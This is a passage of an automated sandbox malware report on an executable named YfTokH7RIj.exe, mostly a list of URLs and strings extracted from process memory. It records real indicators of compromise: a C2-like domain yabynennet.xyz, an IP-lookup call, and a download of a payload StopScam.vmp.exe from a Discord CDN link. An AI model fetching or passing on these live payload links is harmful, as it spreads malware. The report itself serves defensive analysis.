Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, fl.exe, 00000007.00000002.768280433.0000000004209000.00000004.00000001.sdmp, fl.exe, 00000007.00000002.765463943.0000000003E02000.00000004.00000001.sdmp, services32.exe, 0000000F.00000002.828985486.0000000003DA9000.00000004.00000001.sdmp, services32.exe, 00000013.00000002.815721507.0000000004059000.00000004.00000001.sdmp, services32.exe, 00000013.00000002.813300578.0000000003C52000.00000004.00000001.sdmp, sihost32.exe, 0000001D.00000002.913279029.0000000003711000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: http://service.r
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: http://service.real.com/realplayer/security/02062012_player/en/
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: http://support.a
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: http://support.apple.com/kb/HT203092
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727090311.0000000003978000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: http://www.google.com/earth/explore/products/plugin.html
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: http://www.interoperabilitybridges.com/wmp-extension-for-chrome
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729518896.0000000004ACC000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729272432.0000000004A5B000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727326755.0000000003A3C000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727609013.0000000003AFE000.00000004.00000001.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: https://api.ip.sb
Source: YfTokH7RIj.exe, YfTokH7RIj.exe, 00000000.00000003.648277065.00000000035E0000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.716260926.0000000000402000.00000040.00020000.sdmp, YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/917178535238586432/922560115226312704/StopScam.vmp.exe
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com4hm
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729518896.0000000004ACC000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729272432.0000000004A5B000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727326755.0000000003A3C000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727609013.0000000003AFE000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727326755.0000000003A3C000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727609013.0000000003AFE000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729518896.0000000004ACC000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729272432.0000000004A5B000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727326755.0000000003A3C000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727609013.0000000003AFE000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabxEj
Source: YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727326755.0000000003A3C000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727609013.0000000003AFE000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: https://get.adob
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: https://helpx.ad
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729518896.0000000004ACC000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729272432.0000000004A5B000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727326755.0000000003A3C000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727609013.0000000003AFE000.00000004.00000001.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729518896.0000000004ACC000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729272432.0000000004A5B000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727326755.0000000003A3C000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727609013.0000000003AFE000.00000004.00000001.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_divx
Source: YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_java
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_pdf
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_quicktime
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_real
Source: YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_shockwave
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_wmp
Source: YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729518896.0000000004ACC000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729272432.0000000004A5B000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727326755.0000000003A3C000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727609013.0000000003AFE000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown

DNS traffic detected: queries for: yabynennet.xyz

Source: global traffic

HTTP traffic detected: GET /attachments/917178535238586432/922560115226312704/StopScam.vmp.exe HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783

Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: l9https://www.facebook.com/chat/video/videocalldownload.php equals www.facebook.com (Facebook)
Source: YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: romium PDF Plugin","versions":[{"comment":"Chromium PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"divx-player":{"group_name_matcher":"DivX Web Player","help_url":"https://support.google.com/chrome/?p=plugin_divx","lang":"en-US","mime_types":["video/divx","video/x-matroska"],"name":"DivX Web Player","url":"http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe","versions":[{"status":"requires_authorization","version":"1.4.3.4"}]},"facebook-video-calling":{"group_name_matcher":"Facebook Video","lang":"en-US","mime_types":["application/skypesdk-plugin"],"name":"Facebook Video Calling","url":"https://www.facebook.com/chat/video/videocalldownload.php","versions":[{"comment":"We do not track version information for the Facebook Video Calling Plugin.","status":"requires_authorization","version":"0"}]},"google-chrome-pdf":{"group_name_matcher":"Chrome PDF Viewer","mime_types":[],"name":"Chrome PDF Viewer","versions":[{"comment":"Google Chrome PDF Viewer has no version information.","status":"fully_trusted","version":"0"}]},"google-chrome-pdf-plugin":{"group_name_matcher":"Chrome PDF Plugin","mime_types":[],"name":"Chrome PDF Plugin","versions":[{"comment":"Google Chrome PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"google-earth":{"group_name_matcher":"Google Earth","lang":"en-US","mime_types":["application/geplugin"],"name":"Google Earth","url":"http://www.google.com/earth/explore/products/plugin.html","versions":[{"comment":"We do not track version information for the Google Earth Plugin.","status":"requires_authorization","version":"0"}]},"google-talk":{"group_name_matcher":"Google Talk","mime_types":[],"name":"Google Talk","versions":[{"comment":"'Google Talk Plugin' and 'Google Talk Plugin Video Accelerator' use two completely different versioning schemes, so we can't define a minimum version.","status":"requires_authorization","version":"0"}]},"google-update":{"group_name_matcher":"Google Update","mime-types":[],"name":"Google Update","versions":[{"comment":"Google Update plugin is versioned but kept automatically up to 